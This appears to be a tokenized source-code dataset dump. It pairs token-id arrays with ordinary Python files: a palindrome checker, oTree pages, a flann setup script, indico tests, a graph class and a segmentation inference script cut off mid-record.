978,
29892,
8952,
29892,
282,
18091,
29922,
23397,
29918,
13691,
29925,
29892,
9805,
29922,
8824,
1125,
13,
29871,
1404,
353,
426,
13,
1678,
525,
333,
2396,
851,
29898,
25118,
29889,
25118,
29946,
25739,
13,
1678,
525,
19254,
2396,
25985,
978,
29892,
13,
1678,
525,
978,
2396,
8952,
29892,
13,
1678,
525,
7810,
29886,
2396,
282,
18091,
13,
29871,
500,
13,
13,
29871,
565,
9805,
29901,
13,
1678,
4833,
29889,
7193,
29889,
7851,
29918,
650,
29898,
13,
418,
1404,
13,
1678,
1723,
13,
13,
29871,
736,
1404,
13,
13,
1753,
1653,
29918,
7543,
29898,
3051,
29892,
4148,
29892,
9805,
29922,
8824,
1125,
13,
29871,
5881,
353,
426,
13,
1678,
525,
333,
2396,
851,
29898,
25118,
29889,
25118,
29946,
25739,
13,
1678,
525,
8921,
2396,
4148,
29892,
13,
1678,
525,
3051,
2396,
2793,
29892,
13,
1678,
525,
5081,
267,
2396,
29871,
29900,
29892,
13,
1678,
525,
845,
5114,
2396,
29871,
29900,
13,
29871,
500,
13,
13,
29871,
565,
9805,
29901,
13,
1678,
4833,
29889,
28160,
29889,
7851,
29918,
650,
29898,
13,
418,
5881,
13,
1678,
1723,
13,
13,
29871,
736,
5881,
13,
13,
1753,
679,
29918,
1792,
29898,
333,
1125,
13,
29871,
1404,
353,
4833,
29889,
7193,
29889,
2886,
29918,
650,
3319,
29915,
333,
2396,
1178,
1800,
13,
13,
29871,
736,
1404,
13,
13,
1753,
679,
29918,
7543,
29898,
333,
1125,
13,
29871,
5881,
353,
4833,
29889,
7193,
29889,
2886,
29918,
650,
3319,
29915,
333,
2396,
1178,
1800,
13,
13,
29871,
736,
5881,
13,
13,
1004,
353,
679,
29918,
1792,
877,
29883,
29896,
29906,
29900,
29955,
29941,
617,
29899,
29883,
29941,
29883,
29900,
29899,
29946,
29953,
29947,
29874,
29899,
29929,
29941,
29929,
29941,
29899,
29888,
29946,
29953,
29947,
29941,
29953,
29890,
29900,
29872,
29953,
29900,
29955,
1495,
13,
13,
28160,
353,
29871,
29896,
29900,
13,
1454,
903,
297,
3464,
29898,
28160,
1125,
13,
29871,
1596,
29898,
13,
1678,
1653,
29918,
7543,
29898,
13,
418,
2793,
2433,
29907,
3163,
29892,
278,
297,
29899,
18035,
29892,
1722,
29899,
4993,
29892,
5466,
4695,
337,
19730,
310,
5264,
5745,
29889,
742,
13,
418,
4148,
29922,
1004,
29892,
13,
418,
9805,
29922,
5574,
13,
1678,
1723,
1839,
333,
2033,
13,
29871,
1723,
2
] |
lesson-04/lesson02.py | rotorypower/lessons | 0 | 123065 | #Ввести с клавиатуры строку, проверить является ли строка палиндромом и вывести результат (yes/no) на экран. Палиндром - это слово или фраза, которые одинаково читаются слева направо и справа налево
polin = str(input( "Введите слово: "))
polin_test = polin[::-1]
if polin == polin_test:
print("YES")
else:
print("NO")
| [
1,
396,
30012,
1521,
1415,
531,
9955,
21252,
15934,
2091,
576,
1382,
29892,
23590,
641,
1413,
14367,
3550,
2091,
576,
642,
4554,
8279,
26166,
17795,
606,
2771,
1521,
1415,
13439,
29932,
313,
3582,
29914,
1217,
29897,
665,
18796,
3048,
29889,
5390,
8279,
29957,
4416,
448,
6408,
531,
19071,
7082,
1606,
494,
1902,
29892,
15261,
614,
16489,
7220,
5787,
676,
9480,
10535,
846,
665,
8821,
984,
606,
531,
8821,
846,
665,
753,
984,
13,
13,
3733,
262,
353,
851,
29898,
2080,
29898,
376,
30012,
1521,
956,
730,
531,
19071,
29901,
376,
876,
13,
13,
3733,
262,
29918,
1688,
353,
1248,
262,
29961,
1057,
29899,
29896,
29962,
13,
13,
361,
1248,
262,
1275,
1248,
262,
29918,
1688,
29901,
13,
1678,
1596,
703,
21143,
1159,
13,
2870,
29901,
13,
1678,
1596,
703,
6632,
1159,
13,
2
] |
oTree/encrypt_js/pages.py | vbenndorf/wedr | 3 | 58069 | <filename>oTree/encrypt_js/pages.py
from ._builtin import Page, WaitPage
from .models import Constants
class Task(Page):
form_model = 'player'
form_fields = ['performance', 'mistakes']
if Constants.use_timeout:
timeout_seconds = Constants.seconds_per_period
def vars_for_template(self):
legend_list = [j for j in range(26)]
task_list = [j for j in range(Constants.letters_per_word)]
task_width = 90/Constants.letters_per_word
return{'legend_list': legend_list,
'task_list': task_list,
'task_width': task_width}
class Results(Page):
pass
page_sequence = [Task,
Results]
| [
1,
529,
9507,
29958,
29877,
9643,
29914,
3977,
4641,
29918,
1315,
29914,
12292,
29889,
2272,
13,
3166,
869,
29918,
16145,
262,
1053,
9305,
29892,
20340,
5074,
13,
3166,
869,
9794,
1053,
5798,
1934,
13,
13,
1990,
9330,
29898,
5074,
1125,
13,
1678,
883,
29918,
4299,
353,
525,
9106,
29915,
13,
1678,
883,
29918,
9621,
353,
6024,
546,
13390,
742,
525,
29885,
391,
6926,
2033,
13,
1678,
565,
5798,
1934,
29889,
1509,
29918,
15619,
29901,
13,
4706,
11815,
29918,
23128,
353,
5798,
1934,
29889,
23128,
29918,
546,
29918,
19145,
13,
268,
13,
1678,
822,
24987,
29918,
1454,
29918,
6886,
29898,
1311,
1125,
13,
4706,
15983,
29918,
1761,
353,
518,
29926,
363,
432,
297,
3464,
29898,
29906,
29953,
4638,
13,
4706,
3414,
29918,
1761,
353,
518,
29926,
363,
432,
297,
3464,
29898,
26570,
29889,
1026,
2153,
29918,
546,
29918,
1742,
4638,
13,
4706,
3414,
29918,
2103,
353,
29871,
29929,
29900,
29914,
26570,
29889,
1026,
2153,
29918,
546,
29918,
1742,
13,
4706,
736,
10998,
26172,
29918,
1761,
2396,
15983,
29918,
1761,
29892,
13,
1669,
525,
7662,
29918,
1761,
2396,
3414,
29918,
1761,
29892,
13,
1669,
525,
7662,
29918,
2103,
2396,
3414,
29918,
2103,
29913,
13,
13,
1990,
17212,
29898,
5074,
1125,
13,
1678,
1209,
13,
13,
3488,
29918,
16506,
353,
518,
5398,
29892,
13,
462,
17212,
29962,
13,
2
] |
setup.py | Incopro/flann | 0 | 88633 | <gh_stars>0
#!/usr/bin/env python2
import os
from setuptools import setup, Extension
from setuptools.command.build_ext import build_ext as build_ext_orig
from distutils.file_util import copy_file
class CMakeExtension(Extension):
def __init__(self, name):
Extension.__init__(
self,
name,
sources=[],
)
class build_ext(build_ext_orig):
def run(self):
for ext in self.extensions:
self.build_cmake(ext)
def build_cmake(self, ext):
self.spawn(['cmake', '.'])
self.spawn(['make', 'flann'])
dest = os.path.join(self.build_lib, "pyflann", "libflann.so")
copy_file("lib/libflann.so.1.9.1", dest)
setup(
name='incoproflann',
version='1.1',
description='Fast Library for Approximate Nearest Neighbors',
author='<NAME>',
author_email='<EMAIL>',
license='BSD',
url='http://www.cs.ubc.ca/~mariusm/flann/',
packages=['pyflann'],
ext_modules=[CMakeExtension('pyflann/libflann')],
package_dir={'pyflann': 'src/python/pyflann'},
cmdclass={
'build_ext': build_ext,
}
)
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
29937,
14708,
4855,
29914,
2109,
29914,
6272,
3017,
29906,
13,
5215,
2897,
13,
3166,
731,
21245,
8789,
1053,
6230,
29892,
7338,
2673,
13,
3166,
731,
21245,
8789,
29889,
6519,
29889,
4282,
29918,
1062,
1053,
2048,
29918,
1062,
408,
2048,
29918,
1062,
29918,
12683,
13,
3166,
1320,
13239,
29889,
1445,
29918,
4422,
1053,
3509,
29918,
1445,
13,
13,
13,
1990,
315,
9984,
17657,
29898,
17657,
1125,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1024,
1125,
13,
4706,
7338,
2673,
17255,
2344,
12035,
13,
9651,
1583,
29892,
13,
9651,
1024,
29892,
13,
9651,
8974,
11759,
1402,
13,
4706,
1723,
13,
13,
13,
1990,
2048,
29918,
1062,
29898,
4282,
29918,
1062,
29918,
12683,
1125,
13,
13,
1678,
822,
1065,
29898,
1311,
1125,
13,
4706,
363,
1294,
297,
1583,
29889,
24299,
29901,
13,
9651,
1583,
29889,
4282,
29918,
29883,
5675,
29898,
1062,
29897,
13,
13,
1678,
822,
2048,
29918,
29883,
5675,
29898,
1311,
29892,
1294,
1125,
13,
4706,
1583,
29889,
1028,
18101,
18959,
29883,
5675,
742,
15300,
11287,
13,
4706,
1583,
29889,
1028,
18101,
18959,
5675,
742,
525,
1579,
812,
11287,
13,
13,
4706,
2731,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
4282,
29918,
1982,
29892,
376,
2272,
1579,
812,
613,
376,
1982,
1579,
812,
29889,
578,
1159,
13,
4706,
3509,
29918,
1445,
703,
1982,
29914,
1982,
1579,
812,
29889,
578,
29889,
29896,
29889,
29929,
29889,
29896,
613,
2731,
29897,
13,
13,
13,
14669,
29898,
13,
1678,
1024,
2433,
3742,
26555,
1579,
812,
742,
13,
1678,
1873,
2433,
29896,
29889,
29896,
742,
13,
1678,
6139,
2433,
29943,
579,
9538,
363,
28268,
2657,
403,
26206,
342,
2448,
1141,
29890,
943,
742,
13,
1678,
4148,
2433,
29966,
5813,
29958,
742,
13,
1678,
4148,
29918,
5269,
2433,
29966,
26862,
6227,
29958,
742,
13,
1678,
19405,
2433,
29933,
7230,
742,
13,
1678,
3142,
2433,
1124,
597,
1636,
29889,
2395,
29889,
431,
29883,
29889,
1113,
24629,
29885,
19563,
29885,
29914,
1579,
812,
29914,
742,
13,
1678,
9741,
29922,
1839,
2272,
1579,
812,
7464,
13,
1678,
1294,
29918,
7576,
11759,
29907,
9984,
17657,
877,
2272,
1579,
812,
29914,
1982,
1579,
812,
1495,
1402,
13,
1678,
3577,
29918,
3972,
3790,
29915,
2272,
1579,
812,
2396,
525,
4351,
29914,
4691,
29914,
2272,
1579,
812,
16675,
13,
1678,
9920,
1990,
3790,
13,
4706,
525,
4282,
29918,
1062,
2396,
2048,
29918,
1062,
29892,
13,
1678,
500,
13,
29897,
13,
2
] |
indico/modules/rb/util_test.py | bnavigator/indico | 0 | 161194 | # This file is part of Indico.
# Copyright (C) 2002 - 2019 CERN
#
# Indico is free software; you can redistribute it and/or
# modify it under the terms of the MIT License; see the
# LICENSE file for more details.
import pytest
from indico.modules.rb import rb_settings
from indico.modules.rb.util import rb_check_user_access, rb_is_admin
from indico.testing.util import bool_matrix
@pytest.mark.parametrize(('is_rb_admin', 'acl_empty', 'in_acl', 'expected'), bool_matrix('...', expect=any))
def test_rb_check_user_access(db, mocker, dummy_user, dummy_group, is_rb_admin, acl_empty, in_acl, expected):
if is_rb_admin:
mocker.patch('indico.modules.rb.util.rb_is_admin', return_value=True)
if not acl_empty:
rb_settings.acls.add_principal('authorized_principals', dummy_group)
if in_acl:
rb_settings.acls.add_principal('authorized_principals', dummy_user)
assert rb_check_user_access(dummy_user) == expected
@pytest.mark.parametrize(('is_admin', 'is_rb_admin', 'expected'), bool_matrix('..', expect=any))
def test_rb_is_admin(create_user, is_admin, is_rb_admin, expected):
user = create_user(1, admin=is_admin, rb_admin=is_rb_admin)
assert rb_is_admin(user) == expected
| [
1,
396,
910,
934,
338,
760,
310,
1894,
1417,
29889,
13,
29937,
14187,
1266,
313,
29907,
29897,
29871,
29906,
29900,
29900,
29906,
448,
29871,
29906,
29900,
29896,
29929,
315,
1001,
29940,
13,
29937,
13,
29937,
1894,
1417,
338,
3889,
7047,
29936,
366,
508,
2654,
391,
2666,
372,
322,
29914,
272,
13,
29937,
6623,
372,
1090,
278,
4958,
310,
278,
341,
1806,
19245,
29936,
1074,
278,
13,
29937,
365,
2965,
1430,
1660,
934,
363,
901,
4902,
29889,
13,
13,
5215,
11451,
1688,
13,
13,
3166,
1399,
1417,
29889,
7576,
29889,
6050,
1053,
364,
29890,
29918,
11027,
13,
3166,
1399,
1417,
29889,
7576,
29889,
6050,
29889,
4422,
1053,
364,
29890,
29918,
3198,
29918,
1792,
29918,
5943,
29892,
364,
29890,
29918,
275,
29918,
6406,
13,
3166,
1399,
1417,
29889,
13424,
29889,
4422,
1053,
6120,
29918,
5344,
13,
13,
13,
29992,
2272,
1688,
29889,
3502,
29889,
3207,
300,
374,
911,
29898,
877,
275,
29918,
6050,
29918,
6406,
742,
525,
562,
29880,
29918,
6310,
742,
525,
262,
29918,
562,
29880,
742,
525,
9684,
5477,
6120,
29918,
5344,
877,
856,
742,
2149,
29922,
1384,
876,
13,
1753,
1243,
29918,
6050,
29918,
3198,
29918,
1792,
29918,
5943,
29898,
2585,
29892,
286,
8658,
29892,
20254,
29918,
1792,
29892,
20254,
29918,
2972,
29892,
338,
29918,
6050,
29918,
6406,
29892,
263,
695,
29918,
6310,
29892,
297,
29918,
562,
29880,
29892,
3806,
1125,
13,
1678,
565,
338,
29918,
6050,
29918,
6406,
29901,
13,
4706,
286,
8658,
29889,
5041,
877,
513,
1417,
29889,
7576,
29889,
6050,
29889,
4422,
29889,
6050,
29918,
275,
29918,
6406,
742,
736,
29918,
1767,
29922,
5574,
29897,
13,
1678,
565,
451,
263,
695,
29918,
6310,
29901,
13,
4706,
364,
29890,
29918,
11027,
29889,
562,
3137,
29889,
1202,
29918,
558,
26706,
877,
8921,
1891,
29918,
558,
2173,
29886,
1338,
742,
20254,
29918,
2972,
29897,
13,
1678,
565,
297,
29918,
562,
29880,
29901,
13,
4706,
364,
29890,
29918,
11027,
29889,
562,
3137,
29889,
1202,
29918,
558,
26706,
877,
8921,
1891,
29918,
558,
2173,
29886,
1338,
742,
20254,
29918,
1792,
29897,
13,
1678,
4974,
364,
29890,
29918,
3198,
29918,
1792,
29918,
5943,
29898,
29881,
11770,
29918,
1792,
29897,
1275,
3806,
13,
13,
13,
29992,
2272,
1688,
29889,
3502,
29889,
3207,
300,
374,
911,
29898,
877,
275,
29918,
6406,
742,
525,
275,
29918,
6050,
29918,
6406,
742,
525,
9684,
5477,
6120,
29918,
5344,
877,
636,
742,
2149,
29922,
1384,
876,
13,
1753,
1243,
29918,
6050,
29918,
275,
29918,
6406,
29898,
3258,
29918,
1792,
29892,
338,
29918,
6406,
29892,
338,
29918,
6050,
29918,
6406,
29892,
3806,
1125,
13,
1678,
1404,
353,
1653,
29918,
1792,
29898,
29896,
29892,
4113,
29922,
275,
29918,
6406,
29892,
364,
29890,
29918,
6406,
29922,
275,
29918,
6050,
29918,
6406,
29897,
13,
1678,
4974,
364,
29890,
29918,
275,
29918,
6406,
29898,
1792,
29897,
1275,
3806,
13,
2
] |
nnlab/nn/graph.py | nlab-mpg/nnlab | 0 | 6750 | <gh_stars>0
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import absolute_import, print_function, division
from six.moves import xrange, zip
import tensorflow as tf
from .tensor import Tensor
class Graph(object):
"""The class for defining computational graph."""
def __init__(self, loss=None, modules=None, inputs=None, outputs=None, monitors=None):
self._loss = loss
self._modules = modules if modules is not None else []
self._inputs = inputs
self._outputs = outputs
self._monitors = monitors
self._check_arguments(loss, modules, inputs, outputs, monitors)
def _check_arguments(self, loss, modules, inputs, outputs, monitors):
"""Verify the arguments."""
if loss is not None and not isinstance(loss, Tensor):
raise Exception("loss must be a tensor")
if modules is not None and not isinstance(modules, list):
raise Exception("modules must be a list")
if inputs is not None and not self._check_type(inputs):
raise Exception("input must be a tensor/list/dict")
if outputs is not None and not self._check_type(outputs):
raise Exception("output must be a tensor/list/dict")
if monitors is not None and not isinstance(monitors, dict):
raise Exception("monitors must be a dict")
def _check_type(self, obj):
"""Check whether the type is either a tensor or list or dict"""
return isinstance(obj, Tensor) or isinstance(obj, list) or isinstance(obj, dict)
@property
def loss(self):
return self._loss
@property
def modules(self):
return self._modules
@property
def inputs(self):
return self._inputs
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
29937,
14708,
4855,
29914,
2109,
29914,
6272,
3017,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
13,
3166,
4770,
29888,
9130,
1649,
1053,
8380,
29918,
5215,
29892,
1596,
29918,
2220,
29892,
8542,
13,
3166,
4832,
29889,
13529,
267,
1053,
921,
3881,
29892,
14319,
13,
13,
5215,
26110,
408,
15886,
13,
3166,
869,
20158,
1053,
323,
6073,
13,
13,
1990,
12367,
29898,
3318,
1125,
13,
1678,
9995,
1576,
770,
363,
16184,
26845,
3983,
1213,
15945,
13,
268,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
6410,
29922,
8516,
29892,
10585,
29922,
8516,
29892,
10970,
29922,
8516,
29892,
14391,
29922,
8516,
29892,
1601,
17259,
29922,
8516,
1125,
13,
4706,
1583,
3032,
6758,
353,
6410,
13,
4706,
1583,
3032,
7576,
353,
10585,
565,
10585,
338,
451,
6213,
1683,
5159,
13,
4706,
1583,
3032,
2080,
29879,
353,
10970,
13,
4706,
1583,
3032,
4905,
29879,
353,
14391,
13,
4706,
1583,
3032,
3712,
17259,
353,
1601,
17259,
13,
4706,
1583,
3032,
3198,
29918,
25699,
29898,
6758,
29892,
10585,
29892,
10970,
29892,
14391,
29892,
1601,
17259,
29897,
13,
268,
13,
1678,
822,
903,
3198,
29918,
25699,
29898,
1311,
29892,
6410,
29892,
10585,
29892,
10970,
29892,
14391,
29892,
1601,
17259,
1125,
13,
4706,
9995,
6565,
1598,
278,
6273,
1213,
15945,
13,
4706,
565,
6410,
338,
451,
6213,
322,
451,
338,
8758,
29898,
6758,
29892,
323,
6073,
1125,
13,
9651,
12020,
8960,
703,
6758,
1818,
367,
263,
12489,
1159,
13,
4706,
565,
10585,
338,
451,
6213,
322,
451,
338,
8758,
29898,
7576,
29892,
1051,
1125,
13,
9651,
12020,
8960,
703,
7576,
1818,
367,
263,
1051,
1159,
13,
4706,
565,
10970,
338,
451,
6213,
322,
451,
1583,
3032,
3198,
29918,
1853,
29898,
2080,
29879,
1125,
13,
9651,
12020,
8960,
703,
2080,
1818,
367,
263,
12489,
29914,
1761,
29914,
8977,
1159,
13,
4706,
565,
14391,
338,
451,
6213,
322,
451,
1583,
3032,
3198,
29918,
1853,
29898,
4905,
29879,
1125,
13,
9651,
12020,
8960,
703,
4905,
1818,
367,
263,
12489,
29914,
1761,
29914,
8977,
1159,
13,
4706,
565,
1601,
17259,
338,
451,
6213,
322,
451,
338,
8758,
29898,
3712,
17259,
29892,
9657,
1125,
13,
9651,
12020,
8960,
703,
3712,
17259,
1818,
367,
263,
9657,
1159,
13,
308,
13,
1678,
822,
903,
3198,
29918,
1853,
29898,
1311,
29892,
5446,
1125,
13,
4706,
9995,
5596,
3692,
278,
1134,
338,
2845,
263,
12489,
470,
1051,
470,
9657,
15945,
29908,
13,
4706,
736,
338,
8758,
29898,
5415,
29892,
323,
6073,
29897,
470,
338,
8758,
29898,
5415,
29892,
1051,
29897,
470,
338,
8758,
29898,
5415,
29892,
9657,
29897,
13,
268,
13,
1678,
732,
6799,
13,
1678,
822,
6410,
29898,
1311,
1125,
13,
4706,
736,
1583,
3032,
6758,
13,
268,
13,
1678,
732,
6799,
13,
1678,
822,
10585,
29898,
1311,
1125,
13,
4706,
736,
1583,
3032,
7576,
13,
268,
13,
1678,
732,
6799,
13,
1678,
822,
10970,
29898,
1311,
1125,
13,
4706,
736,
1583,
3032,
2080,
29879,
13,
268,
13,
268,
13,
268,
13,
268,
13,
268,
13,
2
] |
predict.py | PeterH0323/Crack-Construction-Segmentation | 1 | 75261 | <gh_stars>1-10
import os
import time
from pathlib import Path
import torch
import numpy as np
import torch.backends.cudnn as cudnn
from argparse import ArgumentParser
# user
from builders.model_builder import build_model
from builders.dataset_builder import build_dataset_test, build_dataset_predict
from utils.utils import save_predict
from utils.convert_state import convert_state_dict
import cv2
def parse_args():
parser = ArgumentParser(description='Efficient semantic segmentation')
# model and dataset
parser.add_argument('--model', default="ENet", help="model name: (default ENet)")
parser.add_argument('--dataset', default="custom_dataset", help="dataset: cityscapes, camvid or custom_dataset")
parser.add_argument('--image_input_path', default="./inference_images/input_images", help="load predict_image")
parser.add_argument('--num_workers', type=int, default=2, help="the number of parallel threads")
parser.add_argument('--use_txt_list', type=bool, default=False, help="Using txt list in dataset files")
parser.add_argument('--batch_size', type=int, default=1,
help=" the batch_size is set to 1 when evaluating or testing")
parser.add_argument('--checkpoint', type=str,
default=r"",
help="use the file to load the checkpoint for evaluating or testing ")
parser.add_argument('--save_seg_dir', type=str, default="./inference_images/predict_output/",
help="saving path of prediction result")
parser.add_argument('--cuda', default=True, help="run on CPU or GPU")
parser.add_argument("--gpus", default="0", type=str, help="gpu ids (default: 0)")
args = parser.parse_args()
return args
def predict(args, test_loader, model):
"""
args:
test_loader: loaded for test dataset, for those that do not provide label on the test set
model: model
return: class IoU and mean IoU
"""
# evaluation or test mode
model.eval()
total_batches = len(test_loader)
vid_writer = None
vid_path = None
for i, (input, size, name, mode, frame_count, img_original, vid_cap) in enumerate(test_loader):
with torch.no_grad():
input = input[None, ...] # 增加多一个维度
input = torch.tensor(input) # [1, 3, 224, 224]
input_var = input.cuda()
start_time = time.time()
output = model(input_var)
torch.cuda.synchronize()
time_taken = time.time() - start_time
print(f'[{i + 1}/{total_batches}] time: {time_taken * 1000:.4f} ms = {1 / time_taken:.1f} FPS')
output = output.cpu().data[0].numpy()
output = output.transpose(1, 2, 0)
output = np.asarray(np.argmax(output, axis=2), dtype=np.uint8)
save_name = Path(name).stem + f'_predict'
if mode == 'images':
# 保存图片推理结果
save_predict(output, None, save_name, args.dataset, args.save_seg_dir,
output_grey=True, output_color=True, gt_color=False)
# 将结果和原图画到一起
img = img_original
mask = output
mask[mask == 1] = 255 # 将 mask 的 1 变成 255 --> 用于后面显示充当红色通道
zeros = np.zeros(mask.shape[:2], dtype="uint8") # 生成 全为0 的矩阵,用于充当 蓝色 和 绿色通道
mask_final = cv2.merge([zeros, zeros, mask]) # 合并成 3 通道
img = cv2.addWeighted(img, 1, mask_final, 1, 0) # 合并
if mode == 'images':
# 保存 推理+原图 结果
cv2.imwrite(f"{os.path.join(args.save_seg_dir, save_name + '_img.png')}", img)
else:
# 保存视频
save_path = os.path.join(args.save_seg_dir, save_name + '_predict.mp4')
if vid_path != save_path: # new video
vid_path = save_path
if isinstance(vid_writer, cv2.VideoWriter):
vid_writer.release() # release previous video writer
fourcc = 'mp4v' # output video codec
fps = vid_cap.get(cv2.CAP_PROP_FPS)
w = int(vid_cap.get(cv2.CAP_PROP_FRAME_WIDTH))
h = int(vid_cap.get(cv2.CAP_PROP_FRAME_HEIGHT))
vid_writer = cv2.VideoWriter(save_path, cv2.VideoWriter_fourcc(*fourcc), fps, (w, h))
vid_writer.write(img)
def predict_model(args):
"""
main function for testing
param args: global arguments
return: None
"""
print(args)
if args.cuda:
print("=====> use gpu id: '{}'".format(args.gpus))
os.environ["CUDA_VISIBLE_DEVICES"] = args.gpus
if not torch.cuda.is_available():
raise Exception("no GPU found or wrong gpu id, please run without --cuda")
# build the model
model = build_model(args.model, num_classes=args.classes)
if args.cuda:
model = model.cuda() # using GPU for inference
cudnn.benchmark = True
if args.checkpoint:
if os.path.isfile(args.checkpoint):
print("=====> loading checkpoint '{}'".format(args.checkpoint))
checkpoint = torch.load(args.checkpoint)
model.load_state_dict(checkpoint['model'])
# model.load_state_dict(convert_state_dict(checkpoint['model']))
else:
print("=====> no checkpoint found at '{}'".format(args.checkpoint))
raise FileNotFoundError("no checkpoint found at '{}'".format(args.checkpoint))
if not os.path.exists(args.save_seg_dir):
os.makedirs(args.save_seg_dir)
# load the test set
if args.use_txt_list:
_, testLoader = build_dataset_test(args.dataset, args.num_workers, none_gt=True)
else:
_, testLoader = build_dataset_predict(args.image_input_path, args.dataset, args.num_workers, none_gt=True)
print("=====> beginning testing")
print("test set length: ", len(testLoader))
predict(args, testLoader, model)
if __name__ == '__main__':
args = parse_args()
args.save_seg_dir = os.path.join(args.save_seg_dir, args.dataset, 'predict', args.model)
if args.dataset == 'cityscapes':
args.classes = 19
elif args.dataset == 'camvid':
args.classes = 11
elif args.dataset == 'custom_dataset':
args.classes = 2
else:
raise NotImplementedError(
"This repository now supports two datasets: cityscapes and camvid, %s is not included" % args.dataset)
predict_model(args)
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
5215,
2897,
13,
5215,
931,
13,
3166,
2224,
1982,
1053,
10802,
13,
13,
5215,
4842,
305,
13,
5215,
12655,
408,
7442,
13,
5215,
4842,
305,
29889,
1627,
1975,
29889,
29883,
566,
15755,
408,
274,
566,
15755,
13,
3166,
1852,
5510,
1053,
23125,
11726,
13,
29937,
1404,
13,
3166,
2048,
414,
29889,
4299,
29918,
16409,
1053,
2048,
29918,
4299,
13,
3166,
2048,
414,
29889,
24713,
29918,
16409,
1053,
2048,
29918,
24713,
29918,
1688,
29892,
2048,
29918,
24713,
29918,
27711,
13,
3166,
3667,
29879,
29889,
13239,
1053,
4078,
29918,
27711,
13,
3166,
3667,
29879,
29889,
13441,
29918,
3859,
1053,
3588,
29918,
3859,
29918,
8977,
13,
5215,
13850,
29906,
13,
13,
13,
1753,
6088,
29918,
5085,
7295,
13,
1678,
13812,
353,
23125,
11726,
29898,
8216,
2433,
29923,
4543,
28837,
10768,
362,
1495,
13,
1678,
396,
1904,
322,
8783,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
4299,
742,
2322,
543,
1430,
300,
613,
1371,
543,
4299,
1024,
29901,
313,
4381,
382,
6779,
25760,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
24713,
742,
2322,
543,
6341,
29918,
24713,
613,
1371,
543,
24713,
29901,
4272,
1557,
11603,
29892,
3949,
8590,
470,
2888,
29918,
24713,
1159,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
3027,
29918,
2080,
29918,
2084,
742,
2322,
543,
6904,
262,
1659,
29918,
8346,
29914,
2080,
29918,
8346,
613,
1371,
543,
1359,
8500,
29918,
3027,
1159,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
1949,
29918,
1287,
414,
742,
1134,
29922,
524,
29892,
2322,
29922,
29906,
29892,
1371,
543,
1552,
1353,
310,
8943,
9717,
1159,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
1509,
29918,
3945,
29918,
1761,
742,
1134,
29922,
11227,
29892,
2322,
29922,
8824,
29892,
1371,
543,
15156,
13872,
1051,
297,
8783,
2066,
1159,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
16175,
29918,
2311,
742,
1134,
29922,
524,
29892,
2322,
29922,
29896,
29892,
13,
462,
4706,
1371,
543,
278,
9853,
29918,
2311,
338,
731,
304,
29871,
29896,
746,
6161,
1218,
470,
6724,
1159,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
3198,
3149,
742,
1134,
29922,
710,
29892,
13,
462,
4706,
2322,
29922,
29878,
29908,
613,
13,
462,
4706,
1371,
543,
1509,
278,
934,
304,
2254,
278,
1423,
3149,
363,
6161,
1218,
470,
6724,
16521,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
7620,
29918,
10199,
29918,
3972,
742,
1134,
29922,
710,
29892,
2322,
543,
6904,
262,
1659,
29918,
8346,
29914,
27711,
29918,
4905,
29914,
613,
13,
462,
4706,
1371,
543,
29879,
5555,
2224,
310,
18988,
1121,
1159,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
29883,
6191,
742,
2322,
29922,
5574,
29892,
1371,
543,
3389,
373,
10808,
470,
22796,
1159,
13,
1678,
13812,
29889,
1202,
29918,
23516,
703,
489,
29887,
13364,
613,
2322,
543,
29900,
613,
1134,
29922,
710,
29892,
1371,
543,
29887,
3746,
18999,
313,
4381,
29901,
29871,
29900,
25760,
13,
1678,
6389,
353,
13812,
29889,
5510,
29918,
5085,
580,
13,
13,
1678,
736,
6389,
13,
13,
13,
1753,
8500,
29898,
5085,
29892,
1243,
29918,
12657,
29892,
1904,
1125,
13,
1678,
9995,
13,
1678,
6389,
29901,
13,
418,
1243,
29918,
12657,
29901,
7500,
363,
1243,
8783,
29892,
363,
1906,
393,
437,
451,
3867,
3858,
373,
278,
1243,
731,
13,
418,
1904,
29901,
1904,
13,
1678,
736,
29901,
770,
22244,
29965,
322,
2099,
22244,
29965,
13,
1678,
9995,
13,
1678,
396,
17983,
470,
1243,
4464,
13,
1678,
1904,
29889,
14513,
580,
13,
1678,
3001,
29918,
16175,
267,
353,
7431,
29898,
1688,
29918,
12657,
29897,
13,
1678,
7840,
29918,
13236,
353,
6213,
13,
1678,
7840,
29918,
2084,
353,
6213,
13,
13,
1678,
363,
474,
29892,
313,
2080,
29892,
2159,
29892,
1024,
29892,
4464,
29892,
3515,
29918,
2798,
29892,
10153,
29918,
13492,
29892,
7840,
29918,
5030,
29897,
297,
26985,
29898,
1688,
29918,
12657,
1125,
13,
4706,
411,
4842,
305,
29889,
1217,
29918,
5105,
7295,
13,
9651,
1881,
353,
1881,
29961,
8516,
29892,
2023,
29962,
29871,
396,
29871,
232,
165,
161,
30666,
30923,
30287,
30502,
234,
190,
183,
30898,
13,
9651,
1881,
353,
4842,
305,
29889,
20158,
29898,
2080,
29897,
29871,
396,
518,
29896,
29892,
29871,
29941,
29892,
29871,
29906,
29906,
29946,
29892,
29871,
29906,
29906,
29946,
29962,
13,
9651,
1881,
29918,
1707,
353,
1881,
29889,
29883,
6191,
580,
13,
4706,
1369,
29918,
2230,
353,
931,
29889,
2230,
580,
13,
4706,
1962,
353,
1904,
29898,
2080,
29918,
1707,
29897,
13,
4706,
4842,
305,
29889,
29883,
6191,
29889,
29879,
9524,
675,
580,
13,
4706,
931,
29918,
29873,
9424,
353,
931,
29889,
2230,
580,
448,
1369,
29918,
2230,
13,
4706,
1596,
29898,
29888,
29915,
19660,
29875,
718,
29871,
29896,
